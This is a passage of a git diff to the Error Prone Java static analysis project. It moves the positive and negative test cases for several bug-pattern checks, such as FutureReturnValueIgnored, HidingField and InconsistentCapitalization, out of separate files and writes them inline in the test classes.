Exception { + voidCall(); + return null; + } + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/FutureReturnValueIgnoredTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/FutureReturnValueIgnoredTest.java index 64d9fd24437..cf778ea4121 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/FutureReturnValueIgnoredTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/FutureReturnValueIgnoredTest.java @@ -32,12 +32,516 @@ public class FutureReturnValueIgnoredTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/FutureReturnValueIgnoredPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "FutureReturnValueIgnoredPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.util.concurrent.Futures.immediateFuture; + +import com.google.common.base.Function; +import com.google.common.util.concurrent.Futures; +import com.google.common.util.concurrent.ListenableFuture; +import java.util.concurrent.Executor; +import java.util.concurrent.Future; + +/** + * @author eaftan@google.com (Eddie Aftandilian) + */ +public class FutureReturnValueIgnoredPositiveCases { + + IntValue intValue = new IntValue(0); + + private static Future increment(int bar) { + return null; + } + + public T returnFutureType(T input) { + return input; + } + + public void testFutureGenerics() { + // BUG: Diagnostic contains: Future must be checked + returnFutureType(Futures.immediateCancelledFuture()); + } + + public void foo() { + int i = 1; + // BUG: Diagnostic contains: Future must be checked + increment(i); + System.out.println(i); + } + + public void bar() { + // BUG: Diagnostic contains: Future must be checked + this.intValue.increment(); + } + + public void testIntValue() { + IntValue value = new IntValue(10); + // BUG: Diagnostic contains: Future must be checked + value.increment(); + } + + public void testFunction() { + new Function>() { + @Override + public ListenableFuture apply(Object input) { + return immediateFuture(null); + } + // BUG: Diagnostic contains: Future must be checked + }.apply(null); + } + + private class IntValue { + + final int i; + + public IntValue(int i) { + this.i = i; + } + + public ListenableFuture increment() { + return immediateFuture(new IntValue(i + 1)); + } + + public void increment2() { + // BUG: Diagnostic contains: Future must be checked + this.increment(); + } + + public void increment3() { + // BUG: Diagnostic contains: Future must be checked + increment(); + } + } + + static ListenableFuture transform( + ListenableFuture input, Function function, Executor executor) { + return null; + } + + static ListenableFuture futureReturningMethod() { + return null; + } + + static ListenableFuture futureReturningMethod(Object unused) { + return null; + } + + static void consumesFuture(Future future) {} + + static void testIgnoredFuture() throws Exception { + ListenableFuture input = null; + // BUG: Diagnostic contains: nested type + Future output = transform(input, foo -> futureReturningMethod(), runnable -> runnable.run()); + + Future otherOutput = + // BUG: Diagnostic contains: nested type + transform( + input, + new Function>() { + @Override + public ListenableFuture apply(String string) { + return futureReturningMethod(); + } + }, + runnable -> runnable.run()); + + // BUG: Diagnostic contains: nested type + transform( + input, + new Function>() { + @Override + public ListenableFuture apply(String string) { + return futureReturningMethod(); + } + }, + runnable -> runnable.run()) + .get(); + + consumesFuture( + // BUG: Diagnostic contains: nested type + transform( + input, + new Function>() { + @Override + public ListenableFuture apply(String string) { + System.out.println("First generics"); + return futureReturningMethod(); + } + }, + runnable -> runnable.run())); + + consumesFuture( + transform( + input, + new Function() { + @Override + public Object apply(String string) { + // BUG: Diagnostic contains: returned future may be ignored + return futureReturningMethod(); + } + }, + runnable -> runnable.run())); + consumesFuture( + transform( + input, + new Function() { + @Override + public Object apply(String string) { + Future result = futureReturningMethod(); + // BUG: Diagnostic contains: returned future may be ignored + return result; + } + }, + runnable -> runnable.run())); + + consumesFuture( + // BUG: Diagnostic contains: nested type + transform(input, foo -> futureReturningMethod(), runnable -> runnable.run())); + + consumesFuture( + // BUG: Diagnostic contains: nested type + transform( + input, + foo -> { + return futureReturningMethod(); + }, + runnable -> runnable.run())); + + consumesFuture( + // BUG: Diagnostic contains: nested type + transform( + input, + FutureReturnValueIgnoredPositiveCases::futureReturningMethod, + runnable -> runnable.run())); + + ListenableFuture done = + transform( + // BUG: Diagnostic contains: nested type + transform( + input, + new Function>() { + @Override + public ListenableFuture apply(String string) { + return futureReturningMethod(); + } + }, + runnable -> runnable.run()), + new Function() { + @Override + public Object apply(Object string) { + return new Object(); + } + }, + runnable -> runnable.run()); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/FutureReturnValueIgnoredNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "FutureReturnValueIgnoredNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.util.concurrent.Futures.immediateFuture; +import static com.google.common.util.concurrent.MoreExecutors.directExecutor; +import static org.junit.Assert.assertThrows; +import static org.mockito.Mockito.doAnswer; + +import com.google.common.base.Function; +import com.google.common.base.Functions; +import com.google.common.base.Preconditions; +import com.google.common.base.Predicate; +import com.google.common.base.Supplier; +import com.google.common.base.Ticker; +import com.google.common.reflect.AbstractInvocationHandler; +import com.google.common.util.concurrent.AbstractFuture; +import com.google.common.util.concurrent.AsyncFunction; +import com.google.common.util.concurrent.Futures; +import com.google.common.util.concurrent.ListenableFuture; +import com.google.errorprone.annotations.CanIgnoreReturnValue; +import io.netty.channel.ChannelFuture; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.concurrent.Callable; +import java.util.concurrent.Executor; +import java.util.concurrent.ExecutorCompletionService; +import java.util.concurrent.ForkJoinTask; +import java.util.concurrent.Future; +import java.util.concurrent.FutureTask; +import java.util.concurrent.RecursiveAction; +import java.util.concurrent.ScheduledExecutorService; +import org.junit.function.ThrowingRunnable; +import org.mockito.invocation.InvocationOnMock; +import org.mockito.stubbing.Answer; + +/** */ +public class FutureReturnValueIgnoredNegativeCases { + + public FutureReturnValueIgnoredNegativeCases() {} + + static ListenableFuture getFuture() { + return immediateFuture(null); + } + + interface CanIgnoreMethod { + @CanIgnoreReturnValue + Future getFuture(); + } + + public static class CanIgnoreImpl implements CanIgnoreMethod { + @Override + public Future getFuture() { + return null; + } + } + + static void callIgnoredInterfaceMethod() { + new CanIgnoreImpl().getFuture(); + } + + @CanIgnoreReturnValue + static ListenableFuture getFutureIgnore() { + return immediateFuture(null); + } + + static void putInMap() { + Map> map = new HashMap<>(); + map.put(new Object(), immediateFuture(null)); + Map map2 = new HashMap(); + map2.put(new Object(), immediateFuture(null)); + } + + static void preconditions() + throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Preconditions.checkNotNull(getFuture()); + Preconditions.checkNotNull(new Object()); + FutureReturnValueIgnoredNegativeCases.class.getDeclaredMethod("preconditions").invoke(null); + } + + static void checkIgnore() { + getFutureIgnore(); + } + + void ignoreForkJoinTaskFork(ForkJoinTask t) { + t.fork(); + } + + void ignoreForkJoinTaskFork_subclass(RecursiveAction t) { + t.fork(); + } + + void ignoreExecutorCompletionServiceSubmit(ExecutorCompletionService s) { + s.submit(() -> null); + } + + void ignoreChannelFutureAddListener(ChannelFuture cf) { + cf.addListener((ChannelFuture f) -> {}); + } + + void ignoreChannelFutureAddListeners(ChannelFuture cf) { + cf.addListeners((ChannelFuture f) -> {}, (ChannelFuture f) -> {}); + } + + ListenableFuture ignoreVarArgs( + Callable combiner, Executor executor, ListenableFuture... futures) { + return combine(combiner, executor, Arrays.asList(futures)); + } + + public static ListenableFuture combine( + final Callable combiner, + Executor executor, + Iterable> futures) { + return null; + } + + private static final class TypedClass { + ListenableFuture ignoreReturnTypeSetByInputFuture(T input) { + return returnsInputType(logAsyncInternal(input), 0); + } + + protected ListenableFuture logAsyncInternal(T record) { + return null; + } + + ListenableFuture returnsInputType(ListenableFuture future, final int n) { + return null; + } + } + + public static class RetryingFuture extends AbstractFuture { + + /** + * Enables the user to receive notifications about state changes of a retrying future, and use + * them e.g. for logging. + */ + public interface Interceptor {} + + /** Creates a builder for {@link RetryingFuture} instances. */ + public static Builder builder() { + return new Builder<>(); + } + + /** A builder for {@link RetryingFuture} instances. */ + public static final class Builder { + + private Builder() {} + + /** Sets the {@link Executor} in which all tries and retries are performed. */ + @CanIgnoreReturnValue + public Builder setExecutor(Executor executor) { + return this; + } + + /** + * Sets the {@link ScheduledExecutorService} used for scheduling retries after delay. It will + * also be used for tries and retries if {@link #setExecutor(Executor)} is not called. + */ + @CanIgnoreReturnValue + public Builder setScheduledExecutorService( + ScheduledExecutorService scheduledExecutorService) { + return this; + } + + public Builder setInterceptor(Interceptor interceptor) { + // Safely limiting the kinds of RetryingFutures this builder can produce, + // based on the type of the interceptor. + @SuppressWarnings("unchecked") + Builder me = (Builder) this; + return me; + } + + public Builder setTicker(Ticker ticker) { + return this; + } + + public RetryingFuture build( + Supplier> futureSupplier, + Predicate shouldContinue) { + return new RetryingFuture( + futureSupplier, + null, + shouldContinue, + null, + // We need to maintain Java 7 compatibility + null, + null, + null); + } + + public RetryingFuture build( + Supplier> futureSupplier, + Object strategy, + Predicate shouldContinue) { + return new RetryingFuture( + futureSupplier, + strategy, + shouldContinue, + null, + // We need to maintain Java 7 compatibility + null, + null, + null); + } + } + + RetryingFuture( + Supplier> futureSupplier, + Object strategy, + Predicate shouldContinue, + Executor executor, + ScheduledExecutorService scheduledExecutorService, + Ticker ticker, + final Interceptor interceptor) {} + + public static RetryingFuture retryingFuture( + Supplier> futureSupplier, + Object strategy, + Predicate shouldContinue, + Executor executor, + Interceptor interceptor) { + return builder() + .setInterceptor(interceptor) + .setExecutor(executor) + .build(futureSupplier, strategy, shouldContinue); + } + } + + private static class TypedObject { + public ListenableFuture transformAndClose( + Function function, Executor executor) { + return null; + } + + public ListenableFuture close() { + return transformAndClose(Functions.identity(), directExecutor()); + } + } + + private static void mocking() { + doAnswer(invocation -> immediateFuture(null)).when(null); + doAnswer( + invocation -> { + return immediateFuture(null); + }) + .when(null); + doAnswer( + new Answer() { + @Override + public Object answer(InvocationOnMock mock) { + return immediateFuture(null); + } + }) + .when(null); + } + + private static void throwing() { + assertThrows(RuntimeException.class, () -> immediateFuture(null)); + assertThrows( + RuntimeException.class, + () -> { + immediateFuture(null); + }); + assertThrows( + RuntimeException.class, + new ThrowingRunnable() { + @Override + public void run() throws Throwable { + immediateFuture(null); + } + }); + } + + private static AsyncFunction provideAsyncFunction() { + return Futures::immediateFuture; + } + + private static Runnable provideNonFutureInterface() { + return new FutureTask(null); + } + + private static void invocation() { + new AbstractInvocationHandler() { + @Override + protected Object handleInvocation(Object o, Method method, Object[] params) { + return immediateFuture(null); + } + }; + } +}""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/FuturesGetCheckedIllegalExceptionTypeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/FuturesGetCheckedIllegalExceptionTypeTest.java index 8ac7c995d75..e2dc3bcad25 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/FuturesGetCheckedIllegalExceptionTypeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/FuturesGetCheckedIllegalExceptionTypeTest.java @@ -28,14 +28,126 @@ public class FuturesGetCheckedIllegalExceptionTypeTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/FuturesGetCheckedIllegalExceptionTypePositiveCases.java") + .addSourceLines( + "FuturesGetCheckedIllegalExceptionTypePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.util.concurrent.Futures.getChecked; +import static java.util.concurrent.TimeUnit.SECONDS; + +import java.util.concurrent.Future; + +/** Positive cases for {@link FuturesGetCheckedIllegalExceptionType}. */ +public class FuturesGetCheckedIllegalExceptionTypePositiveCases { + void runtime( + Future future, Class c1, Class c2) throws Exception { + // BUG: Diagnostic contains: getUnchecked(future) + getChecked(future, RuntimeException.class); + // BUG: Diagnostic contains: getUnchecked(future) + getChecked(future, IllegalArgumentException.class); + // BUG: Diagnostic contains: getUnchecked(future) + getChecked(future, RuntimeException.class, 0, SECONDS); + // BUG: Diagnostic contains: getUnchecked(future) + getChecked(future, c1); + // BUG: Diagnostic contains: getUnchecked(future) + getChecked(future, c2); + } + + void visibility(Future future) throws Exception { + // BUG: Diagnostic contains: parameters + getChecked(future, PrivateConstructorException.class); + // BUG: Diagnostic contains: parameters + getChecked(future, PackagePrivateConstructorException.class); + // BUG: Diagnostic contains: parameters + getChecked(future, ProtectedConstructorException.class); + } + + void parameters(Future future) throws Exception { + // BUG: Diagnostic contains: parameters + getChecked(future, OtherParameterTypeException.class); + // TODO(cpovirk): Consider a specialized error message if inner classes prove to be common. + // BUG: Diagnostic contains: parameters + getChecked(future, InnerClassWithExplicitConstructorException.class); + // BUG: Diagnostic contains: parameters + getChecked(future, InnerClassWithImplicitConstructorException.class); + } + + public static class PrivateConstructorException extends Exception { + private PrivateConstructorException() {} + } + + public static class PackagePrivateConstructorException extends Exception { + PackagePrivateConstructorException() {} + } + + public static class ProtectedConstructorException extends Exception { + protected ProtectedConstructorException() {} + } + + public class OtherParameterTypeException extends Exception { + public OtherParameterTypeException(int it) {} + } + + public class InnerClassWithExplicitConstructorException extends Exception { + public InnerClassWithExplicitConstructorException() {} + } + + public class InnerClassWithImplicitConstructorException extends Exception {} +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/FuturesGetCheckedIllegalExceptionTypeNegativeCases.java") + .addSourceLines( + "FuturesGetCheckedIllegalExceptionTypeNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.util.concurrent.Futures.getChecked; +import static java.util.concurrent.TimeUnit.SECONDS; + +import java.io.IOException; +import java.util.concurrent.Future; + +/** Negative cases for {@link FuturesGetCheckedIllegalExceptionType}. */ +public class FuturesGetCheckedIllegalExceptionTypeNegativeCases { + void runtime(Future future, Class c1, Class c2) + throws Exception { + getChecked(future, Exception.class); + getChecked(future, Exception.class, 0, SECONDS); + getChecked(future, IOException.class); + // These might or might not be RuntimeExceptions. We can't prove it one way or the other. + getChecked(future, c1); + getChecked(future, c2); + getChecked(future, null); + } + + void constructor( + Future future, Class c1, Class c2) + throws Exception { + getChecked(future, StaticNestedWithExplicitConstructorException.class); + getChecked(future, StaticNestedWithImplicitConstructorException.class); + /* + * These might be ProtectedConstructorException, but they might be a subtype with a public + * constructor. + */ + getChecked(future, c1); + getChecked(future, c2); + } + + public static class StaticNestedWithExplicitConstructorException extends Exception { + public StaticNestedWithExplicitConstructorException() {} + } + + public static class StaticNestedWithImplicitConstructorException extends Exception {} + + public static class ProtectedConstructorException extends Exception { + protected ProtectedConstructorException() {} + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/FuzzyEqualsShouldNotBeUsedInEqualsMethodTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/FuzzyEqualsShouldNotBeUsedInEqualsMethodTest.java index 0e2dd754120..b8f58f6882e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/FuzzyEqualsShouldNotBeUsedInEqualsMethodTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/FuzzyEqualsShouldNotBeUsedInEqualsMethodTest.java @@ -32,14 +32,68 @@ public class FuzzyEqualsShouldNotBeUsedInEqualsMethodTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodPositiveCases.java") + .addSourceLines( + "FuzzyEqualsShouldNotBeUsedInEqualsMethodPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.math.DoubleMath; + + /** + * @author sulku@google.com (Marsela Sulku) + */ + public class FuzzyEqualsShouldNotBeUsedInEqualsMethodPositiveCases { + + public boolean equals(Object o) { + // BUG: Diagnostic contains: DoubleMath.fuzzyEquals should never + DoubleMath.fuzzyEquals(0.2, 9.3, 2.0); + return true; + } + + private class TestClass { + + public boolean equals(Object other) { + double x = 0, y = 0, z = 0; + // BUG: Diagnostic contains: DoubleMath.fuzzyEquals should never + return DoubleMath.fuzzyEquals(x, y, z); + } + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodNegativeCases.java") + .addSourceLines( + "FuzzyEqualsShouldNotBeUsedInEqualsMethodNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.math.DoubleMath; + + /** + * @author sulku@google.com (Marsela Sulku) + */ + public class FuzzyEqualsShouldNotBeUsedInEqualsMethodNegativeCases { + public boolean equals() { + return true; + } + + private static class TestClass { + public void test() { + boolean t = DoubleMath.fuzzyEquals(0, 2, 0.3); + } + + public boolean equals(Object other) { + return true; + } + + public boolean equals(Object other, double a) { + return DoubleMath.fuzzyEquals(0, 1, 0.2); + } + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/GetClassOnClassTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/GetClassOnClassTest.java index ebc45837c59..815375bf824 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/GetClassOnClassTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/GetClassOnClassTest.java @@ -32,11 +32,66 @@ public class GetClassOnClassTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/GetClassOnClassPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "GetClassOnClassPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author chy@google.com (Christine Yang) + * @author kmuhlrad@google.com (Katy Muhlrad) + */ + public class GetClassOnClassPositiveCases { + + public void getClassOnClass(Class clazz) { + // BUG: Diagnostic contains: clazz.getName() + System.out.println(clazz.getClass().getName()); + } + + public void getClassOnClass2() { + String s = "hi"; + // BUG: Diagnostic contains: s.getClass().getName() + s.getClass().getClass().getName(); + } + + public void getClassOnClass3() { + // BUG: Diagnostic contains: String.class.getName() + System.out.println(String.class.getClass().getName()); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/GetClassOnClassNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "GetClassOnClassNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author chy@google.com (Christine Yang) + * @author kmuhlrad@google.com (Katy Muhlrad) + */ + public class GetClassOnClassNegativeCases { + + public void getClassOnClass(Object obj) { + System.out.println(obj.getClass().getName()); + } + + public void getClassOnClass2() { + String s = "hi"; + DummyObject.getClass(s); + } + + public static class DummyObject { + public static boolean getClass(Object a) { + return true; + } + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/HidingFieldTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/HidingFieldTest.java index 7fc05ff890a..3daa3f6abaf 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/HidingFieldTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/HidingFieldTest.java @@ -37,13 +37,148 @@ public void setUp() { @Test public void hidingFieldPositiveCases() { compilationHelper - .addSourceFile("testdata/HidingFieldPositiveCases1.java") - .addSourceFile("testdata/HidingFieldPositiveCases2.java") + .addSourceLines( + "HidingFieldPositiveCases1.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * @author sulku@google.com (Marsela Sulku) + * @author mariasam@google.com (Maria Sam) + */ +public class HidingFieldPositiveCases1 { + + /** base class */ + public static class ClassA { + protected String varOne; + public int varTwo; + String varThree; + } + + /** ClassB has a field with the same name as one in its parent. */ + public static class ClassB extends ClassA { + // BUG: Diagnostic contains: superclass: ClassA + private String varOne = "Test"; + } + + /** ClassC has a field with the same name as one in its grandparent. */ + public static class ClassC extends ClassB { + // BUG: Diagnostic contains: superclass: ClassA + public int varTwo; + } + + /** + * ClassD has multiple fields with the same name as those in its grandparent, as well as other + * unrelated members. + */ + public static class ClassD extends ClassB { + // BUG: Diagnostic contains: superclass: ClassA + protected int varThree; + // BUG: Diagnostic contains: superclass: ClassA + int varTwo; + String randOne; + String randTwo; + } + + /** ClassE has same variable name as grandparent */ + public static class ClassE extends ClassC { + // BUG: Diagnostic contains: superclass: ClassC + public String varTwo; + } + + public static class ClassF extends ClassA { + @SuppressWarnings("HidingField") // no warning because it's suppressed + public String varThree; + } + + public static class ClassG extends ClassF { + // BUG: Diagnostic contains: superclass: ClassF + String varThree; + } +}""") + .addSourceLines( + "HidingFieldPositiveCases2.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * @author sulku@google.com (Marsela Sulku) + * @author mariasam@google.com (Maria Sam) + */ +public class HidingFieldPositiveCases2 { + + /** + * ClassA extends a class from a different file and ClassA has a member with the same name as its + * parent + */ + public class ClassA extends HidingFieldPositiveCases1.ClassB { + // BUG: Diagnostic contains: superclass: ClassA + private int varTwo; + } + + /** + * ClassB extends a class from a different file and ClassB has a member with the same name as its + * grandparent + */ + public class ClassB extends HidingFieldPositiveCases1.ClassB { + // BUG: Diagnostic contains: superclass: ClassA + public int varOne = 2; + } +}""") .doTest(); } @Test public void hidingFieldNegativeCases() { - compilationHelper.addSourceFile("testdata/HidingFieldNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "HidingFieldNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * @author sulku@google.com (Marsela Sulku) + * @author mariasam@google.com (Maria Sam) + */ +public class HidingFieldNegativeCases { + // base class + static class ClassA { + public int varOne; + } + + // subclass with member variables of different names + static class ClassB extends ClassA { + private String varTwo; + private int varThree; + public static int varFour; + public int varFive; + } + + // subclass with initialized member variable of different name + static class ClassC extends ClassB { + // publicly-visible static members in superclasses are pretty uncommon, and generally + // referred to by qualification, so this 'override' is OK + private String varFour = "Test"; + + // The supertype's visibility is private, so this redeclaration is OK. + private int varThree; + + // warning suppressed when overshadowing variable in parent + @SuppressWarnings("HidingField") + public int varFive; + + // warning suppressed when overshadowing variable in grandparent + @SuppressWarnings("HidingField") + public int varOne; + } + + // subclass with member *methods* with the same name as superclass member variable -- this is ok + static class ClassD extends ClassC { + public void varThree() {} + + public void varTwo() {} + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ImplementAssertionWithChainingTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ImplementAssertionWithChainingTest.java index 65ac37be1ae..488012b49c9 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ImplementAssertionWithChainingTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ImplementAssertionWithChainingTest.java @@ -32,14 +32,173 @@ public class ImplementAssertionWithChainingTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/ImplementAssertionWithChainingPositiveCases.java") + .addSourceLines( + "ImplementAssertionWithChainingPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.truth.FailureMetadata; +import com.google.common.truth.Subject; + +/** + * @author cpovirk@google.com (Chris Povirk) + */ +public class ImplementAssertionWithChainingPositiveCases { + static final class FooSubject extends Subject { + private final Foo actual; + + private FooSubject(FailureMetadata metadata, Foo actual) { + super(metadata, actual); + this.actual = actual; + } + + void hasString(String expected) { + // BUG: Diagnostic contains: check("string()").that(actual.string()).isEqualTo(expected) + if (!actual.string().equals(expected)) { + failWithActual("expected to have string", expected); + } + } + + void hasStringGuavaObjectsEqual(String expected) { + // BUG: Diagnostic contains: check("string()").that(actual.string()).isEqualTo(expected) + if (!com.google.common.base.Objects.equal(actual.string(), expected)) { + failWithActual("expected to have string", expected); + } + } + + void hasStringJavaObjectsEquals(String expected) { + // BUG: Diagnostic contains: check("string()").that(actual.string()).isEqualTo(expected) + if (!java.util.Objects.equals(actual.string(), expected)) { + failWithActual("expected to have string", expected); + } + } + + void hasInteger(int expected) { + // BUG: Diagnostic contains: check("integer()").that(actual.integer()).isEqualTo(expected) + if (actual.integer() != expected) { + failWithActual("expected to have integer", expected); + } + } + + void hasKind(Kind expected) { + // BUG: Diagnostic contains: check("kind()").that(actual.kind()).isEqualTo(expected) + if (actual.kind() != expected) { + failWithActual("expected to have kind", expected); + } + } + + void hasOtherFooInteger(int expected) { + // BUG: Diagnostic contains: + // check("otherFoo().integer()").that(actual.otherFoo().integer()).isEqualTo(expected) + if (actual.otherFoo().integer() != expected) { + failWithActual("expected to have other foo with integer", expected); + } + } + } + + private static final class Foo { + final String string; + final int integer; + final Kind kind; + + Foo(String string, int integer, Kind kind) { + this.string = string; + this.integer = integer; + this.kind = kind; + } + + String string() { + return string; + } + + int integer() { + return integer; + } + + Kind kind() { + return kind; + } + + Foo otherFoo() { + return this; + } + } + + private enum Kind {} +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ImplementAssertionWithChainingNegativeCases.java") + .addSourceLines( + "ImplementAssertionWithChainingNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.truth.FailureMetadata; + import com.google.common.truth.Subject; + + /** + * @author cpovirk@google.com (Chris Povirk) + */ + public class ImplementAssertionWithChainingNegativeCases { + static final class FooSubject extends Subject { + private final Foo actual; + + private FooSubject(FailureMetadata metadata, Foo actual) { + super(metadata, actual); + this.actual = actual; + } + + void doesNotHaveString(String other) { + if (actual.string().equals(other)) { + failWithActual("expected not to have string", other); + } + } + + void doesNotHaveInteger(int other) { + if (actual.integer() == other) { + failWithActual("expected not to have integer", other); + } + } + + void hasBoxedIntegerSameInstance(Integer expected) { + if (actual.boxedInteger() != expected) { + failWithActual("expected to have boxed integer", expected); + } + } + } + + private static final class Foo { + final String string; + final int integer; + final Integer boxedInteger; + + Foo(String string, int integer, Integer boxedInteger) { + this.string = string; + this.integer = integer; + this.boxedInteger = boxedInteger; + } + + String string() { + return string; + } + + int integer() { + return integer; + } + + Integer boxedInteger() { + return boxedInteger; + } + + Foo otherFoo() { + return this; + } + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/InconsistentCapitalizationTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/InconsistentCapitalizationTest.java index 10632ce9b86..c0460ceb5ed 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/InconsistentCapitalizationTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/InconsistentCapitalizationTest.java @@ -34,7 +34,167 @@ public class InconsistentCapitalizationTest { @Test public void negativeCases() { compilationHelper - .addSourceFile("testdata/InconsistentCapitalizationNegativeCases.java") + .addSourceLines( + "InconsistentCapitalizationNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** Negative cases for {@link com.google.errorprone.bugpatterns.InconsistentCapitalizationTest}. */ +public class InconsistentCapitalizationNegativeCases { + + public void doesntConflictWithOtherVariables() { + int aa; + int aA; + } + + public void doesntConflictWithVariableOutOfScope() { + if (true) { + int a; + } + if (true) { + int a; + } + } + + public void doesntConflictBetweenForVariables() { + for (int i = 0; i < 1; i++) {} + + for (int i = 0; i < 1; i++) {} + } + + private class DoesntConflictBetweenMethods { + int a; + + void a() {} + + void b(int baba) { + int c = baba; + if (c == baba) {} + } + + void c() { + int c; + } + } + + private static class DoesntConflictWithClass { + + static int B; + + static class A { + + static int A; + } + + class B {} + } + + private static class DoesAllowUpperCaseStaticVariable { + + static int A; + + void method() { + int a; + } + } + + private enum DoesntConflictWithUpperCaseEnum { + TEST; + + private Object test; + } + + public void doesntConflictWithMethodParameter(long aa) { + int aA; + } + + private class DoesntConflictWithConstructorParameter { + + DoesntConflictWithConstructorParameter(Object aa) { + Object aA; + } + } + + private class DoesntConflictOutOfScope { + + class A { + private Object aaa; + private Object aab; + } + + class B { + private Object aaA; + + void method(String aaB) { + char aAb; + } + } + } + + private static class DoesntReplaceMember { + + class A { + Object aa; + Object ab; + + void method() { + B b = new B(); + aa = b.aA; + ab = b.aB.aA; + new B().aA(); + aa.equals(ab); + aa.equals(b.aB.aA); + aa.equals(b.aB); + } + } + + class B { + Object aA; + C aB = new C(); + + void aA() {} + } + + class C { + Object aA; + } + } + + class DoesntConflictWithNested { + Object aa; + Object ab; + + class Nested { + Object aB; + + Nested(Object aa) { + DoesntConflictWithNested.this.aa = aa; + } + + class Nested2 { + Object aB; + + Nested2(Object aa) { + DoesntConflictWithNested.this.aa = aa; + } + } + } + } + + static class DoesntFixExternalParentClassFieldMatch { + + static class Parent { + Object aa; + } + + static class Child extends Parent { + + Child(Object aA) { + aa = aA; + } + } + } +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/IncrementInForLoopAndHeaderTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/IncrementInForLoopAndHeaderTest.java index d1f421e3812..3ebfd20f143 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/IncrementInForLoopAndHeaderTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/IncrementInForLoopAndHeaderTest.java @@ -37,14 +37,165 @@ public void setup() { @Test public void positiveCases() { compilationTestHelper - .addSourceFile("testdata/IncrementInForLoopAndHeaderPositiveCases.java") + .addSourceLines( + "IncrementInForLoopAndHeaderPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author mariasam@google.com (Maria Sam) + */ + public class IncrementInForLoopAndHeaderPositiveCases { + + public void basicTest() { + // BUG: Diagnostic contains: increment + for (int i = 0; i < 10; i++) { + i++; + } + } + + public void decrement() { + // BUG: Diagnostic contains: increment + for (int i = 0; i < 10; i++) { + i--; + } + } + + public void preInc() { + // BUG: Diagnostic contains: increment + for (int i = 0; i < 10; i++) { + --i; + } + } + + public void multipleStatements() { + // BUG: Diagnostic contains: increment + for (int i = 0; i < 10; i++) { + --i; + int a = 0; + } + } + + public void multipleUpdates() { + // BUG: Diagnostic contains: increment + for (int i = 0, a = 1; i < 10; i++, a++) { + a++; + } + } + + public void multipleUpdatesOtherVar() { + // BUG: Diagnostic contains: increment + for (int i = 0, a = 1; i < 10; i++, a++) { + i++; + } + } + + public void multipleUpdatesBothVars() { 